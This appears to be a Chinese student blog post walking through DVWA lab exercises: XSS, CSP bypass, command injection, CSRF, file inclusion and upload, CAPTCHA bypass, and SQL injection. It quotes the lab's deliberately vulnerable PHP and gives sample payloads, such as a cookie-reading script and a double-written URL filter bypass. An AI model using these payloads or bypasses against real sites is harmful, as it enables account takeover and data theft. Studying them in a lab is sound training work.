dvwa第二周练习

难度:low

第一题:xss(dom型漏洞):

什么是DOM:

所谓的DOM又称DOM树,全称为文档对象模型(Document Objeet Mode),是Web前端开发中使用到的一种模型。在前端开发中会使用到很多元素,如< title>、< h1>等,而为了方便使用这些已经定义的元素,将这些元素作为结点排成树状后,通过遍历这棵树,就可以很方便的调用这些元素。而这颗树就称为DOM树。

当js脚本从url获得数据并将其传递到支持动态代码执行的接收器时,就会产生基于DOM的XSS漏洞。也就是说不规范的使用接收器时就会产生基于DOM的XSS漏洞。因此基于DOM的XSS漏洞一般产生于用户能够进行参数输入查询的地方。

因此这题的关键是通过构造含有恶意代码的url获取受害者的私人信息。

首先我们审计代码,发现什么也没有

<?php

# No protections, anything goes

?> 

 观察url发现可以在此直接修改,因此我们可以添加一些恶意代码,如<script>alert('hack')</script>

4e13c1e4fa104f029d57b1a624a007de.png

 cf6eadeb716e417bace181355ab8262b.png

 第二题:xss(反射型漏洞)

该类型与DOM相似,但DOM在页面便直接执行(也就是前端),而反射型会涉及到后端

我们审计代码,发现没有任何过滤,我们可以构造js恶意代码

<script>alert(document.cookie)</script>获取cookie

<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?> 

1d6c323bc62849f6b846c15220fe0771.png

 第三题:xss(存储型漏洞)

该类型与之前不同点便是有了数据库的连接,若该网站有发布及浏览文章的类似功能,攻击者便可以通过xss存储型漏洞发布含恶意代码的文章,并被存储在数据库中,当受害者访问该文章时,浏览器便会执行此恶意代码,最终攻击者可以获得受害者的私人信息

因此这题的关键是想办法将自己的恶意代码存储进数据库中,首先我们审计代码,发现对name,message变量没有过滤,因此我们可以直接输入恶意代码执行。

 <?php
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    //mysql_close();
}
?>

 结果如下,可以看到我们注入成功

daea9d579de946c082ab85edc7142eb1.png第四题:CSP绕过

Content-Security-Policy是指HTTP返回报文头中的标签,浏览器会根据标签中的内容,判断哪些资源可以加载或执行。翻译为中文就是绕过内容安全策略。是为了缓解潜在的跨站脚本问(XSS),浏览器的扩展程序系统引入了内容安全策略这个概念。原来应对XSS攻击时,主要采用函数过滤、转义输入中的特殊字符、标签、文本来规避攻击。CSP的实质就是白名单制度,开发人员明确告诉客户端,哪些外部资源可以加载和执行。开发者只需要提供配置,实现和执行全部由浏览器完成。

script-src脚本:只信任当前域名

object-src:不信任任何URL,即不加载任何资源

style-src样式表:只信任http://cdn.example.org和THIRDPARTY | 名古屋でWebのコンサルティング・ディレクションをしています。

child-src:必须使用HTTPS协议加载。这个已从Web标准中删除,新版本浏览器可能不支持。

其他资源:没有限制其他资源

当启用CSP后,不符合CSP的外部资源会被阻止加载。

两种方法可以启用CSP:

一种是通过HTTP相应头信息的Content-Security-Policy字段;

另一种是通过网页标签;

 本题关键就是通过某些方法绕过CSP进而执行你的恶意代码,首先我们审计代码,发现没有任何过滤条件,并且看到了Content-Security-Policy: script-src 'self' https://pastebin.com,说明该网站只信任pastebin.com域,因此我们可以在此域上注入自己的恶意代码,使得受害者点击时,可以执行此代码

<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com  example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.
header($headerCSP);
# https://pastebin.com/raw/R570EE00
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    <script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
';

接下来我们直接访问pastebin.com发现他是一个共享的可以粘贴任何文本的网站,因此我们可以在paste处输入我们的恶意代码,点击生成文本之后,点击raw(原生)

7d7a77463afb4f00b858e2ec7be472e4.png

 可以看到上面的url,我们复制该url粘贴到dvwa的文本框中即可,可以发现提交之后会出现一个弹窗,上面内容是hack(内容是大家自己写的),但我这里不出现弹窗,也不明白为什么,但方法正确ebe9d3c119be4fc39d3a62a56faf4cd4.png

第五题:js攻击

JavaScript是一种基于对象和事件驱动的、并具有安全性能的脚本语言。是一种解释型语言(代码不需要进行预编译)。通常JavaScript脚本是通过嵌入在HTML中来实现自身的功能的。

若是涉及到Cookie、Session等记录用户信息的脚本,应该通过外部引入方式,并且不能暴露文件路径,控制好文件访问权限,若被攻击者获取到重要脚本代码,则能伪造其他合法用户进行伪造。

首先我们审计代码,发现该代码对phrase中的value值进行双重加密,赋值给token的value属性,结合前端让我们输入“success即可胜利”的含义,意思是我们需要让toke的value属性对应于phrase=success的value属性即可,而源代码是静态的,需要我们手动调整value的值使其对应于success即可

 <?php
$page[ 'body' ] .= <<<EOF
<script>
/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/
!function(n){.....}
    function rot13(inp) {
        return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
    }
    function generate_token() {
        var phrase = document.getElementById("phrase").value;
        document.getElementById("token").value = md5(rot13(phrase));
    }
    generate_token();
</script>
EOF;
?>

 首先我们F12在控制台生成success对应的toke属性,接着burp抓包对token的值进行修改,即可成功

56ecab20a8244e7c810cac781e7b306b.png

 2952288ab3114ade9ebba5d0a7fb27f6.png

难度:medium

第一题:暴力破解

我们审计代码发现,该代码对user与password的进行了转义符号的处理,因此有效的防止了sql注入,但我们仍然可以burp爆破,只不过时间长了,步骤与上一篇一致,不过可以进行用户名与密码的同时爆破

<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );
    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];
        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

第二题:命令注入

常见命令拼接符

  1. |:A|B 不管A命令成功与否,都会去执行b命令。
  2. &:A&B 各自执行
  3. ||:A||B 先执行A,如果为假,再执行B
  4. && :A&&B 先执行A,如果为真,再执行B
  5. ;: A;B 先执行A后执行
<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
?> 

9940691eccfd479297df3aaa9b3bdcac.png

 第三题:跨站点请求伪造(CSRF)

进行代码审计发现,多了一个if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

查询后发现,这是对http的包头进行了限制,要求$_SERVER[ 'HTTP_REFERER' ]即包头中的referer必须含有“主机名”,我们可以通过抓包来进一步理解其含义

<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?> 

 这是正常修改密码的包

f081c78a909944da9bcfeb857ca00c3a.png

 我们复制url进行连接访问,看到密码修改错误,我们可以抓包来看一下

e2e14ac078a746539834b80884e0d08f.png

 Referer: http://127.0.0.1/webwork/vulnerabilities/csrf/?password_new=abc&password_conf=abc&Change=Change

可以看到与上述比较缺少了referer头:这样就不符合if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

这一函数,因此我们可以在该包中添加上述的referer头,放包查看

1a9ba3a4e30d410ebd00c68e28283f0a.png

 可以看到密码修改成功

e27a39fb5d5b4c1aa6b8e1d5a48330fe.png

 第四题:文件包含

我们审计代码发现,该代码对http://与https://与../与..\进行了过滤,但对于本地文件包含,采用low方法即可

远程文件包含:
可以利用它的过滤特性,用双写即可绕过
http://dvwa/vulnerabilities/fi/?page=hhttp://ttp://ip/可执行脚本

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?> 

第五题:文件上传

首先我们审计代码,发现该代码对文件的格式与大小做了限制,因此我们只要上传符合该条件的木马文件即可,由于我们想要上传之后执行代码,但后缀并不是PHP,百度之后发现可以在上传之后抓包,修改后缀名放包即可

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {
        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
?> 

在这里新建了一个php文件写上了相关代码,并修改了后缀名为符合条件的如,png等,随后在上传之后使用burp抓包,修改了其后缀名为php,防爆看到如下结果

 第六题:不安全的验证码

首先我们审计代码,发现多了个passed_captch变量在html页面中并且在step==2中发现由$_POST['$passed_captch']传过来的是true(这一个bool值是你在执行过step==1才会有的)而如果我们依旧用low的方法会发现,不能通过passed_captch的验证因此我们需要用burp抓包,修改step的同时,添加passed_captch的值为true

<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;
    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];
    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key' ],
        $_POST['g-recaptcha-response']
    );
    // Did the CAPTCHA fail?
    if( !$resp ) {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
    else {
        // CAPTCHA was correct. Do both new passwords match?
        if( $pass_new == $pass_conf ) {
            // Show next stage for the user
            echo "
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                <form action=\"#\" method=\"POST\">
                    <input type=\"hidden\" name=\"step\" value=\"2\" />
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                    <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
                    <input type=\"submit\" name=\"Change\" value=\"Change\" />
                </form>";
        }
        else {
            // Both new passwords do not match.
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }
    }
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;
    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check to see if they did stage 1
    if( !$_POST[ 'passed_captcha' ] ) {
        $html     .= "<pre><br />You have not passed the CAPTCHA.</pre>";
        $hide_form = false;
        return;
    }
    // Check to see if both password match
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );
        // Update database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the end user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with the passwords matching
        echo "<pre>Passwords did not match.</pre>";
        $hide_form = false;
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?> 

 这是burp修改的情况

 这是放包后的情况,可以看到已经成功

第七题:sql手工注入

首先审计代码,发现对id进行了转义符的过滤,如字符:NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z,并且id采用了post传值,不能再url进行修改,因此我们可以在burp抓包修改爆破内容即可。

<?php
if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];
        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>

  我们可以按照下图的逻辑来判断是哪种类型的sql注入

这里我采用 1and 1=1和1 and 1=2来判断可以看到前者返回成功,后者返回结果失败,因此存在数字型注入,接下来查询语句和low相同,在burp上进行即可(不过是将查询中的1'改为1即可)

 在爆表时发现一个报错,发现是会对单引号进行转义,查询资料发现可以用十六进制将dvwa转换,当然也可以换成database()

这里如果仍然使用Low中爆表的方法,则会报错,因为 ’单引号被转义
在这里插入图片描述

 在百度上搜索相关工具即可,下图为最终结果

 第八题:sql盲注入

首先我们审计代码,发现依旧同上题一般,对id进行了字符转义,因此我们只需要注意语句即可。

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors
    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
    //mysql_close();
}
?> 

看到页面中没有输入框,我们同样进行burp抓包获取内容

首先如上题,判断注入类型,发现为数字型注入,接下来就是猜测了,毕竟已经知道了答案,我们直接验证即可,语句如同low一般,只需将1’改为1,之一转义字符即可,在这里我只展示最终结果

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值